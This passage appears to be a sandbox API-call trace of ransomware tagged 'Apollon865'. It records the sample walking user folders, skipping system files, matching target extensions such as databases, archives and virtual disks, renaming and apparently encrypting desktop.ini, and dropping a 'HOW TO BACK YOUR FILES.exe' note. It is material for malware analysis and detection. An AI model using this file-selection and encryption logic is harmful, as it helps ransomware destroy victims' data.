	[0052.211] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0052.211] lstrlenW (lpString="trm") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0052.211] lstrlenW (lpString="udb") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0052.211] lstrlenW (lpString="udl") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0052.211] lstrlenW (lpString="usr") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0052.211] lstrlenW (lpString="v12") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0052.211] lstrlenW (lpString="vis") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0052.211] lstrlenW (lpString="vpd") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0052.211] lstrlenW (lpString="vvv") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0052.211] lstrlenW (lpString="wdb") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0052.211] lstrlenW (lpString="wmdb") returned 4
	[0052.211] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0052.211] lstrlenW (lpString="wrk") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0052.211] lstrlenW (lpString="xdb") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0052.211] lstrlenW (lpString="xld") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0052.211] lstrlenW (lpString="xmlff") returned 5
	[0052.211] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0052.211] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\desktop.ini.Apollon865") returned 49
	[0052.211] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\favorites\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0052.230] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\favorites\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0052.230] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=402) returned 1
	[0052.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.231] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0052.231] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0052.231] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.231] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0xc0
	[0052.248] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000
	[0052.258] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0052.258] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0052.259] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.259] CloseHandle (hObject=0xc0) returned 1
	[0052.259] CloseHandle (hObject=0x118) returned 1
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.260] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e164a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.260] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.260] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e2bb6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0052.260] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0052.260] lstrlenW (lpString="Links") returned 5
	[0052.260] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\desktop.ini") returned 38
	[0052.260] lstrcpyW (in: lpString1=0x119e63e, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0052.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0052.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdf78
	[0052.260] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd90 | out: ListHead=0x5b75f0, ListEntry=0x59fd90) returned 0x5b7bd0
	[0052.260] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e295590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="Apollon865.txt.exe") returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1
	[0052.260] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1
	[0052.261] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1
	[0052.261] lstrlenW (lpString="Microsoft Websites") returned 18
	[0052.261] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links") returned 32
	[0052.261] lstrcpyW (in: lpString1=0x119e63e, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites"
	[0052.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0052.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c55f8
	[0052.261] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd90
	[0052.261] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e1d6eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="Apollon865.txt.exe") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1
	[0052.261] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1
	[0052.261] lstrlenW (lpString="MSN Websites") returned 12
	[0052.261] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 45
	[0052.261] lstrcpyW (in: lpString1=0x119e63e, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites"
	[0052.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0052.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0052.261] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fcb0 | out: ListHead=0x5b75f0, ListEntry=0x59fcb0) returned 0x59fc90
	[0052.261] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0052.261] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="Apollon865.txt.exe") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1
	[0052.262] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1
	[0052.262] lstrlenW (lpString="Windows Live") returned 12
	[0052.262] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites") returned 39
	[0052.262] lstrcpyW (in: lpString1=0x119e63e, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live"
	[0052.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0052.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb70
	[0052.262] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fcd0 | out: ListHead=0x5b75f0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0052.262] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
	[0052.262] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.262] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fcd0
	[0052.262] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Favorites\\Windows Live", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live"
	[0052.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb70 | out: hHeap=0x580000) returned 1
	[0052.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0052.262] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live") returned 39
	[0052.262] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Windows Live" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live"
	[0052.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0052.263] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.263] GetLastError () returned 0x20
	[0052.263] Sleep (dwMilliseconds=0xc8) 
	[0052.474] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.474] GetLastError () returned 0x20
	[0052.474] Sleep (dwMilliseconds=0xc8) 
	[0052.666] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.666] GetLastError () returned 0x20
	[0052.666] Sleep (dwMilliseconds=0xc8) 
	[0052.885] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.885] GetLastError () returned 0x20
	[0052.885] Sleep (dwMilliseconds=0xc8) 
	[0053.088] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.088] GetLastError () returned 0x0
	[0053.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.088] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.089] CloseHandle (hObject=0x15c) returned 1
	[0053.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.089] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.089] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0053.089] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.089] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.089] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.089] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.089] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.089] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.089] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.089] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.089] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".") returned 1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="..") returned 1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="windows") returned -1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="bootmgr") returned 1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="temp") returned -1
	[0053.089] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="pagefile.sys") returned -1
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="boot") returned 1
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ids.txt") returned -1
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ntuser.dat") returned -1
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="perflogs") returned -1
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="MSBuild") returned -1
	[0053.090] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0053.090] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\*") returned 41
	[0053.090] lstrcpyW (in: lpString1=0x119e658, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url"
	[0053.090] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0053.090] lstrlenW (lpString="Apollon865") returned 10
	[0053.090] lstrcmpiW (lpString1="s Live.url", lpString2="Apollon865") returned 1
	[0053.090] lstrlenW (lpString=".dll") returned 4
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".dll") returned 1
	[0053.090] lstrlenW (lpString=".lnk") returned 4
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".lnk") returned 1
	[0053.090] lstrlenW (lpString=".ini") returned 4
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".ini") returned 1
	[0053.090] lstrlenW (lpString=".sys") returned 4
	[0053.090] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".sys") returned 1
	[0053.090] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0053.090] lstrlenW (lpString="bak") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.090] lstrlenW (lpString="ba_") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.090] lstrlenW (lpString="dbb") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.090] lstrlenW (lpString="vmdk") returned 4
	[0053.090] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.090] lstrlenW (lpString="rar") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.090] lstrlenW (lpString="zip") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.090] lstrlenW (lpString="tgz") returned 3
	[0053.090] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.091] lstrlenW (lpString="vbox") returned 4
	[0053.091] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.091] lstrlenW (lpString="vdi") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.091] lstrlenW (lpString="vhd") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.091] lstrlenW (lpString="vhdx") returned 4
	[0053.091] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.091] lstrlenW (lpString="avhd") returned 4
	[0053.091] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.091] lstrlenW (lpString="db") returned 2
	[0053.091] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.091] lstrlenW (lpString="db2") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.091] lstrlenW (lpString="db3") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.091] lstrlenW (lpString="dbf") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.091] lstrlenW (lpString="mdf") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.091] lstrlenW (lpString="mdb") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.091] lstrlenW (lpString="sql") returned 3
	[0053.091] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.091] lstrlenW (lpString="sqlite") returned 6
	[0053.091] lstrcmpiW (lpString1="ve.url", lpString2="sqlite") returned 1
	[0053.091] lstrlenW (lpString="sqlite3") returned 7
	[0053.091] lstrcmpiW (lpString1="ive.url", lpString2="sqlite3") returned -1
	[0053.091] lstrlenW (lpString="sqlitedb") returned 8
	[0053.091] lstrcmpiW (lpString1="Live.url", lpString2="sqlitedb") returned -1
	[0053.091] lstrlenW (lpString="xml") returned 3
